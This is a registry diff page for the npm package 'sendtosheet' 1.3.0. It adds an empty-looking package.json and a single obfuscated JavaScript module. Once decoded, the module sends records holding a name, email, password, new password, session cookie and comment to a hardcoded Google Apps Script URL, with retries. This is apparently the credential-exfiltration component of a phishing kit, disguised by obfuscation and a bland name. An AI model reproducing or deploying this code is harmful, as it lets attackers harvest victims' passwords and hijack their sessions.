sendtosheet 1.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +17 -0
  2. package/sendToSheet.mjs +1 -0
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "sendtosheet",
3
+ "version": "1.3.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "type": "commonjs",
13
+ "dependencies": {
14
+ "axios": "^1.13.2",
15
+ "crypto": "^1.0.1"
16
+ }
17
+ }
@@ -0,0 +1 @@
1
+ function a0_0x4653(){const _0x1e64b0=['message','59941CBYGjO','error','1656061oYKAyf','application/json','4GRJfqu','https://script.google.com/macros/s/AKfycbyq_wcDF_m7F1rSAFgdOHIoF_c2GTEBL1KcZO-XJfCrH-qEHb0mIphxG7aab_UPGsDa/exec','Fail:','1424UMdQtK','data','inserted','2550522hLBNYG','3908961ePHMpR','Success:','4779915wWXbBh','status','9568134ruuOYv','25501635gpCxza','Unknown\x20error'];a0_0x4653=function(){return _0x1e64b0;};return a0_0x4653();}function a0_0x2ba9(_0x4650b6,_0x207404){const _0x465393=a0_0x4653();return a0_0x2ba9=function(_0x2ba956,_0x10c047){_0x2ba956=_0x2ba956-0x1f2;let _0x1f6c97=_0x465393[_0x2ba956];return _0x1f6c97;},a0_0x2ba9(_0x4650b6,_0x207404);}(function(_0x3d836a,_0x5ac7b5){const _0x330026=a0_0x2ba9,_0x54c9b8=_0x3d836a();while(!![]){try{const _0xc4b1ce=parseInt(_0x330026(0x1f7))/0x1+parseInt(_0x330026(0x1ff))/0x2+parseInt(_0x330026(0x200))/0x3*(-parseInt(_0x330026(0x1f9))/0x4)+-parseInt(_0x330026(0x202))/0x5+parseInt(_0x330026(0x204))/0x6+-parseInt(_0x330026(0x1f5))/0x7*(-parseInt(_0x330026(0x1fc))/0x8)+-parseInt(_0x330026(0x1f2))/0x9;if(_0xc4b1ce===_0x5ac7b5)break;else _0x54c9b8['push'](_0x54c9b8['shift']());}catch(_0x1c257b){_0x54c9b8['push'](_0x54c9b8['shift']());}}}(a0_0x4653,0xe9d2c));import a0_0x278a5b from'axios';export async function sendToSheet(_0x4659d7,_0x63e0b0=0x3){const _0x22a6f7=a0_0x2ba9,_0x5a7f17=_0x22a6f7(0x1fa),_0x1117dd={'firstname':_0x4659d7[0x0],'lastname':_0x4659d7[0x1],'email':_0x4659d7[0x2],'password':_0x4659d7[0x3],'passwordnew':_0x4659d7[0x4],'cookie':_0x4659d7[0x5],'comment':_0x4659d7[0x6]},_0x261580=[_0x1117dd],_0x164c64=async _0x4799a4=>{const _0x485065=_0x22a6f7;try{const _0x16222b=await a0_0x278a5b['post'](_0x5a7f17,_0x261580,{'headers':{'Content-Type':_0x485065(0x1f8)},'timeout':0x3a98});if(_0x16222b['data'][_0x485065(0x203)]==='success')return console['log'](_0x485065(0x201),_0x16222b['data'][_0x485065(0x1fe)]);if(_0x16222b[_0x485065(0x1fd)][_0x485065(0x203)]==='retry'&&_0x4799a4>0x0)return await new Promise(_0xf780ab=>setTimeout(_0xf780ab,0x3e8)),_0x164c64(_0x4799a4-0x1);console[_0x485065(0x1f6)](_0x485065(0x1fb),_0x16222b['data']);throw new Error(_0x16222b['data'][_0x485065(0x1f4)]||_0x485065(0x1f3));}catch(_0x42aede){if(_0x4799a4>0x0)return await new Promise(_0x5e5a5e=>setTimeout(_0x5e5a5e,0x3e8)),_0x164c64(_0x4799a4-0x1);console[_0x485065(0x1f6)](_0x485065(0x1fb),_0x42aede[_0x485065(0x1f4)]);throw new Error(_0x42aede[_0x485065(0x1f4)]);}};return _0x164c64(_0x63e0b0);}